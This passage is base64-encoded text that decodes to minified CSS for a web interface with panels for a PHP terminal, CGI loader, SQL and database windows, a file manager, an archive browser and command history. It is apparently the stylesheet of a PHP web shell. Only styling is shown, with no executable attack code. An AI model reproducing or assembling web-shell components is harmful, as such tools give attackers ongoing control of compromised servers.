XJ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM5LDY2LDgwLC45Nil9I2NnaWxvYWRlciwjZGF0YWJhc2Vfd2luZG93LCNlZGl0b3IsI29wdGlvbnNfd2luZG93e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3otaW5kZXg6MjB9LmVkaXRvci13cmFwcGVye3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7cG9zaXRpb246cmVsYXRpdmU7dG9wOjElfS5lZGl0b3ItaGVhZGVye3dpZHRoOjk3JTtiYWNrZ3JvdW5kOnJnYmEoMjEsNjYsODgsLjkzKTtoZWlnaHQ6MzdweDttYXJnaW4tbGVmdDoxM3B4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MTVweDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czoxNXB4fS5lZGl0b3ItcGF0aHtwb3NpdGlvbjphYnNvbHV0ZTtmb250LXNpemU6eC1sYXJnZTttYXJnaW4tbGVmdDoxMHB4O3RvcDo2cHg7Y29sb3I6IzAwZmY3Zn0uZWRpdG9yLW1vZGFse3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDowO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDEsMjMsLjk1KTtoZWlnaHQ6OTAlO21hcmdpbi1sZWZ0OjIwJTttYXJnaW4tcmlnaHQ6MiU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItZXhwbG9yZXJ7d2lkdGg6MTklO2hlaWdodDo5MCU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTQpO3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MjtsZWZ0OjElO2JvcmRlcjoycHggIzBlMzA0YSBzb2xpZH0uZWRpdG9yLWNvbnRyb2xsZXJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0xM3B4fS5maWxlLWhvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDozMHB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeXtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojMDNiM2EzO2N1cnNvcjpwb2ludGVyO2xlZnQ6NXB4O2ZvbnQtc2l6ZToxOHB4O2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7d2lkdGg6ODklO2hlaWdodDoxMDAlO3otaW5kZXg6Mztib3JkZXItcmFkaXVzOjEwcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC42cyBlYXNlLW91dH0uZmlsZS1ob2xkZXI+Lmhpc3RvcnktY2xvc2V7ZGlzcGxheTpibG9jaztvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MnB4O3dpZHRoOjIwcHg7dG9wOjRweDt0ZXh0LWFsaWduOmNlbnRlcjtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmVkO2JvcmRlci1yYWRpdXM6MTAwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3otaW5kZXg6MTA7dHJhbnNpdGlvbjpvcGFjaXR5IC42cyBlYXNlLW91dDtmb250LXNpemU6MTVweDtoZWlnaHQ6MTlweH0uZmlsZS1ob2xkZXI+Lmhpc3Rvcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0fS5lZGl0b3ItZXhwbG9yZXI+LmhoZWFkZXJ7cG9zaXRpb246cmVsYXRpdmU7Y29sb3I6IzE0ZmYwNztib3JkZXItYm90dG9tOjJweCAjMjA2YWEyIHNvbGlkO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7bWFyZ2luLWJvdHRvbToxMHB4O2hlaWdodDo1NXB4fS5lZGl0b3Itc2VhcmNoe3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTo3cHg7bGVmdDozMXB4fS5oaGVhZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7bGVmdDo4cHg7dG9wOjJweH0uaGlzdG9yeS1jbGVhcntwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDo4cHg7dG9wOjJweDtjdXJzb3I6cG9pbnRlcn0uZWRpdG9yLWJvZHl7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6M3B4O2hlaWdodDoxMDAlfS5lZGl0b3ItYW5pbS1jbG9zZXstd2Via2l0LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JDbG9zZXswJXt2aXNpYmlsaXR5OjE7b3BhY2l0eToxfTEwMCV7dmlzaWJpbGl0eTowO29wYWNpdHk6MH19LmVkaXRvci1hbmltLW1pbmltaXpley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvck1pbmltaXplezAle3JpZ2h0OjA7b3BhY2l0eToxfTEwMCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9fS5lZGl0b3ItYW5pbS1zaG93ey13ZWJraXQtYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yU2hvd3swJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0OjA7b3BhY2l0eToxfX0ubWluaW1pemVkLXNob3d7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplU2hvd3swJXtyaWdodDotMzBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1oaWRley13ZWJraXQtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBtaW5pbWl6ZUhpZGV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMzBweDtvcGFjaXR5OjB9fS5zb2xldmlzaWJsZS10ZXh0OmhvdmVyey13ZWJraXQtdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMDstbW96LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1zLXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7dGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMH0udXBkYXRlLWhvbGRlcntwb3NpdGlvbjpmaXhlZDt0b3A6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwyNCwyOSwuNzIpO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnVwZGF0ZS1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS51cGRhdGUtY29udGVudD5he3RleHQtZGVjb3JhdGlvbjpub25lO3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOnJnYmEoMTAzLDE2Nyw0NywuNzcpO2xlZnQ6MjQlO21hcmdpbi10b3A6NyU7Zm9udC1zaXplOjQwcHh9LnVwZGF0ZS1jbG9zZXtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO21hcmdpbi1yaWdodDoyM3B4O3RvcDoxMHB4O2ZvbnQtc2l6ZToyN3B4O2JhY2tncm91bmQtY29sb3I6IzEzMGY1MDt3aWR0aDo1JTtib3JkZXItcmFkaXVzOjEwMHB4O2N1cnNvcjpwb2ludGVyO2JvcmRlcjoycHggIzBlMjY1YSBzb2xpZH0udXBkYXRlLWNsb3NlOmhvdmVye2JvcmRlcjoycHggIzI1ZmYwMCBzb2xpZDtjb2xvcjpyZWR9LmZpbGVzdG9vbHN7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztjb2xvcjojNjdhYmRmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9QC1tb3otZG9jdW1lbnQgdXJsLXByZWZpeCgpeyNzZWFyY2gtaW5wdXR7d2lkdGg6MTczcHh9LmVkaXRvci1wYXRoe3RvcDozcHh9fS5maWx0ZXJzLWhvbGRlcntwYWRkaW5nOjVweDtwYWRkaW5nLWxlZnQ6MTBweH0uZmlsdGVycy1ob2xkZXIgaW5wdXR7d2lkdGg6MjAwcHh9LmZpbHRlcnMtaG9sZGVyIHNwYW57Y29sb3I6IzhiYzdmN30jcmlnaHRjbGlja19tZW51e3dpZHRoOjE3NXB4O3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjpmaXhlZDtiYWNrZ3JvdW5kOiMwZjMwNGE7Y29sb3I6IzU1NTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4Oy13ZWJraXQtdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstbW96LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1zLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW8tdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy13ZWJraXQtYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7LW1vei1ib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4Yztib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4YztwYWRkaW5nOjA7Ym9yZGVyOjFweCBzb2xpZCAjNzM3MzczO2JvcmRlci1yYWRpdXM6MTBweH0jcmlnaHRjbGlja19tZW51IGF7ZGlzcGxheTpibG9jaztjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjZweCA4cHggNnB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7cGFkZGluZy1sZWZ0OjQwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhIGkuZmEsI3JpZ2h0Y2xpY2tfbWVudSBhIGltZ3toZWlnaHQ6MjBweDtmb250LXNpemU6MTdweDt3aWR0aDoyMHB4O3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NXB4O3RvcDoycHg7cGFkZGluZy1sZWZ0OjVweH0jcmlnaHRjbGlja19tZW51IGEgc3Bhbntjb2xvcjojYmNiMWIzO2Zsb2F0OnJpZ2h0fSNyaWdodGNsaWNrX21lbnUgYTpob3Zlcntjb2xvcjojZmZmO2JhY2tncm91bmQ6IzM4NzlkOX0jcmlnaHRjbGlja19tZW51IGhye2JvcmRlcjoxcHggc29saWQgI2ViZWJlYjtib3JkZXItYm90dG9tOjB9LmNsLXBvcHVwLWZpeGVke3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzIwMWUxZWFkfSNzaG9ydGN1dE1lbnUtaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDo0MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2JhY2tncm91bmQ6IzFmMWUxZWRiO2hlaWdodDoxOTBweDt3aWR0aDo1MDBweDtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1oZWFke2JhY2tncm91bmQ6IzIwNzE3NDtwYWRkaW5nOjZweDtib3JkZXItdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm17cGFkZGluZzoxMHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm0+bGFiZWx7ZGlzcGxheTpibG9ja30jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmlucHV0e3dpZHRoOjk5JTtoZWlnaHQ6MjRweDttYXJnaW4tdG9wOjRweDtjb2xvcjojZmZmO291dGxpbmU6MDtmb250LXNpemU6MTZweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdHtmbG9hdDpyaWdodDtoZWlnaHQ6MzBweDttYXJnaW4tcmlnaHQ6OHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1mb290PmJ1dHRvbntoZWlnaHQ6MTAwJTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO291dGxpbmU6MH0ucGhwLXRlcm1pbmFsLW91dHB1dHtvdmVyZmxvdzphdXRvO2hlaWdodDo4NiU7Ym9yZGVyOjFweCBzb2xpZCAjMWU1NjczO2JvcmRlci1yYWRpdXM6MTBweH0uY21kLWhpc3RvcnktaG9sZGVye3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZGZmM2Q1O2JhY2tncm91bmQ6IzA5M2Q1ODt0b3A6LTMwMHB4O2hlaWdodDozMDBweDt3aWR0aDpjYWxjKDY5JSArIC0xMXB4KTtib3JkZXItcmFkaXVzOjEwcHggMTBweCAwIDA7bGVmdDpjYWxjKDIlIC0gOXB4KTt0cmFuc2l0aW9uOnZpc2liaWxpdHkgLjVzLG9wYWNpdHkgLjVzIGxpbmVhcn0uY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5LWhlYWRlcntiYWNrZ3JvdW5kOiMzNzUwNGU7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwfS5jbWQtaGlzdG9yeS1pY29ue3dpZHRoOjI3cHg7dG9wOjZweDtsZWZ0OmNhbGMoNjklICsgNXB4KTtwb3NpdGlvbjphYnNvbHV0ZTtjdXJzb3I6cG9pbnRlcn0uaGlzdG9yeS1jbWQtbGluZXtwYWRkaW5nOjRweDtib3JkZXItYm90dG9tOjFweCBkYXNoZWQ7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmU6aG92ZXJ7YmFja2dyb3VuZDojOTYxMTExfSNteVVMLCNteVVMIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lfSNteVVMe21hcmdpbjowO3BhZGRpbmc6MH0uYm94e2N1cnNvcjpwb2ludGVyOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTstbW96LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZX0uYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTAiO2NvbG9yOiMwMDA7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLXJpZ2h0OjZweH0uY2hlY2stYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTEiO2NvbG9yOiMxZTkwZmZ9Lm5lc3RlZHtkaXNwbGF5Om5vbmV9LmFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5mbGFnLWhvbGRlcj5pbWd7d2lkdGg6MjBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZy1sZWZ0OjZweH0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6bm9uZTtvdmVyZmxvdzphdXRvO21pbi1oZWlnaHQ6MzAwcHg7bWF4LWhlaWdodDpjYWxjKDEwMHZoIC0gMTAwcHgpfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIgLmhlYWRlcnttaW4taGVpZ2h0OjUwdmh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZle2Rpc3BsYXk6YmxvY2t9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYntwYWRkaW5nOjVweDttYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtib3JkZXItYm90dG9tOjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1sZWZ0OjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1yaWdodDo3cHggc29saWQgIzBmMzA0YTtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIgaW1nLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lIGltZywuZWRpdG9yLXRhYi1uYW1lIGltZywuc3FsLXRhYnMgLnNxbC10YWJuYW1lIGltZywudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIGltZ3t3aWR0aDoxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tbGVmdDo1cHh9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYiwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSwuZWRpdG9yLXRhYi1uYW1lLC5zcWwtdGFicyAuc3FsLW5ld3RhYiwuc3FsLXRhYnMgLnNxbC10YWJuYW1lLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxO2JvcmRlci1yYWRpdXM6NHB4O3BhZGRpbmc6NXB4O2NvbG9yOiNmZmY7bWFyZ2luLXJpZ2h0OjNweDtwYWRkaW5nOjVweDtjdXJzb3I6cG9pbnRlcjttYXJnaW4tYm90dG9tOjFweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjVzfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWJ7bWluLXdpZHRoOjU1cHg7dGV4dC1hbGlnbjpjZW50ZXJ9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYjpob3Zlciwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZTpob3ZlciwuZWRpdG9yLXRhYi1uYW1lOmhvdmVyLC5zcWwtdGFicyAuc3FsLXRhYm5hbWU6aG92ZXIsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9LmVkaXRvci10YWJzLC5zcWwtdGFicywudGVybWluYWwtdGFic3twYWRkaW5nOjVweDtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5vcHRpb25zLWxvYWRlci1ob2xkZXJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDoxMX0ub3B0aW9ucy1sb2FkZXItaG9sZGVyIGltZ3twb3NpdGlvbjphYnNvbHV0ZTt0b3A6MzIlO2xlZnQ6NDUlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTt3aWR0aDoxMDBweDthbmltYXRpb246c3BpbiAycyBpbmZpbml0ZX0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZSwuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlLC5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiwudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWJ7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg4fS50YWItaXMtZG9uZXthbmltYXRpb246MnMgdGFiX2NoYW5nZV9jb2xvciBpbmZpbml0ZSBzdGVwLWVuZH0uc3RvcEFqYXh7Y29sb3I6I2ZmZjtmb250LXNpemU6MjBweDtkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjEwcHg7Y3Vyc29yOnBvaW50ZXJ9I2FfbG9hZGVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyYjI2MjZjNzt6LWluZGV4Ojk5fS5mbWFuYWdlci1yb3c+dGR7cG9zaXRpb246cmVsYXRpdmV9LmZtYW5hZ2VyLXJvdyAuc3ltbGlua19wYXRoe3Bvc2l0aW9uOmZpeGVkO21heC13aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzBmMzA0YTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1zaXplOjE1cHg7cGFkZGluZzo4cHg7Y29sb3I6I2ZkZjRmNDtib3JkZXI6MXB4IHNvbGlkICM4YThhOGE7ei1pbmRleDoxO3BvaW50ZXItZXZlbnRzOm5vbmV9LmFyY2hpdmUtaWNvbnN7dmVydGljYWwtYWxpZ246bWlkZGxlfS5hcmNoaXZlLXR5cGUtZGlye2ZvbnQtd2VpZ2h0OmJvbGRlcn0uYXJjaGl2ZS10eXBlLWZpbGV7Zm9udC13ZWlnaHQ6dW5zZXR9LmFyY2hpdmUtbmFtZXtjdXJzb3I6cG9pbnRlcn0uYXJjaGl2ZV9kaXJfaG9sZGVyIGF7Y29sb3I6IzBmMDtmb250LXdlaWdodDpib2xkZXI7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhOmhvdmVye2NvbG9yOiNmZmZ9LmVkaXRvci1jb250ZW50e2hlaWdodDoxMDAlfS5lZGl0b3ItY29udGVudC1ob2xkZXJ7aGVpZ2h0OjkwJX0uZWRpdG9yLWNvbnRlbnRze2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5oaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXJ7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmZjtwYWRkaW5nOjEwcHg7ei1pbmRleDoxMDAwO2JvcmRlci1yYWRpdXM6MTBweDt0b3A6NTAlO2xlZnQ6MTklO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0uc3FsLWNvbnRlbnR7ZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO21pbi1oZWlnaHQ6MzAwcHh9LnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudHtkaXNwbGF5OmJsb2NrfS5wYWdlcy1ob2xkZXJ7cGFkZGluZzo3cHh9LnBhZ2VzLW51bWJlcntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tbGVmdDoxMHB4fS5wYWdlcy1ob2xkZXIgLnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVye3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzBmMzA0YTttYXJnaW4tcmlnaHQ6OHB4O2N1cnNvcjpwb2ludGVyO3dpZHRoOjMzcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6I2ZmZjt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjVzfS5hY3RpdmUtcGFnZS1udW1iZXJ7YmFja2dyb3VuZDojMTA5MjVjIWltcG9ydGFudH0ucGFnZXMtbnVtYmVyIGEucGFnZS1udW1iZXI6aG92ZXJ7YmFja2dyb3VuZDojOGE4YThhfS50ZXJtaW5hbC1jb250ZW50e2hlaWdodDoxMDAlfS50ZXJtaW5hbC1jb250ZW50LC50ZXJtaW5hbC10YWJ7ZGlzcGxheTpub25lfS50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50e2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnRlcm1pbmFsLWJ0bi1mb250Y3Rse2JhY2tncm91bmQ6IzAwOTY4ODt3aWR0aDo1MHB4O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6Ym9sZGVyO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcn0uYWxlcnQtYXJlYXttYXgtaGVpZ2h0OjEwMCU7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjVweDtsZWZ0OjIwcHg7cmlnaHQ6MjBweDt6LWluZGV4Ojk5OTl9LmFsZXJ0LWJveHtmb250LXNpemU6MTZweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuOSk7bGluZS1oZWlnaHQ6MS4zZW07cGFkZGluZzoxMHB4IDE1cHg7bWFyZ2luOjVweCAxMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci1yYWRpdXM6NXB4O3RyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbjstd2Via2l0LWFuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXQ7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dH0uYWxlcnQtY29udGVudC10aXRsZXtmb250LXdlaWdodDo3MDB9LmFsZXJ0LWJveC5hbGVydC1zdWNjZXNze2JhY2tncm91bmQ6cmdiYSg1NiwxMjcsNTYsLjg5KX0uYWxlcnQtZXJyb3J7YmFja2dyb3VuZDpyZ2JhKDE5MSw1NCw1NCwuODkpfS5hbGVydC1ib3guaGlkZXtvcGFjaXR5OjB9LmFsZXJ0LWNsb3Nle2JhY2tncm91bmQ6MCAwO3dpZHRoOjEycHg7aGVpZ2h0OjEycHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjE1cHg7cmlnaHQ6MTVweH0uYWxlcnQtY2xvc2U6YWZ0ZXIsLmFsZXJ0LWNsb3NlOmJlZm9yZXtjb250ZW50OiIiO3dpZHRoOjE1cHg7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2ZmZjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NXB4O3JpZ2h0Oi0xcHg7ZGlzcGxheTpibG9ja30uYWxlcnQtY2xvc2U6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoNDVkZWcpfS5hbGVydC1jbG9zZTphZnRlcnt0cmFuc2Zvcm06cm90YXRlKDEzNWRlZyl9LmFsZXJ0LWNsb3NlOmhvdmVyOmFmdGVyLC5hbGVydC1jbG9zZTpob3ZlcjpiZWZvcmV7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2Q4ZDhkOH1AbWVkaWEgKG1heC13aWR0aDo3NjdweCkgYW5kIChtaW4td2lkdGg6NDgxcHgpey5hbGVydC1hcmVhe2xlZnQ6MTAwcHg7cmlnaHQ6MTAwcHh9fUBtZWRpYSAobWluLXdpZHRoOjc2OH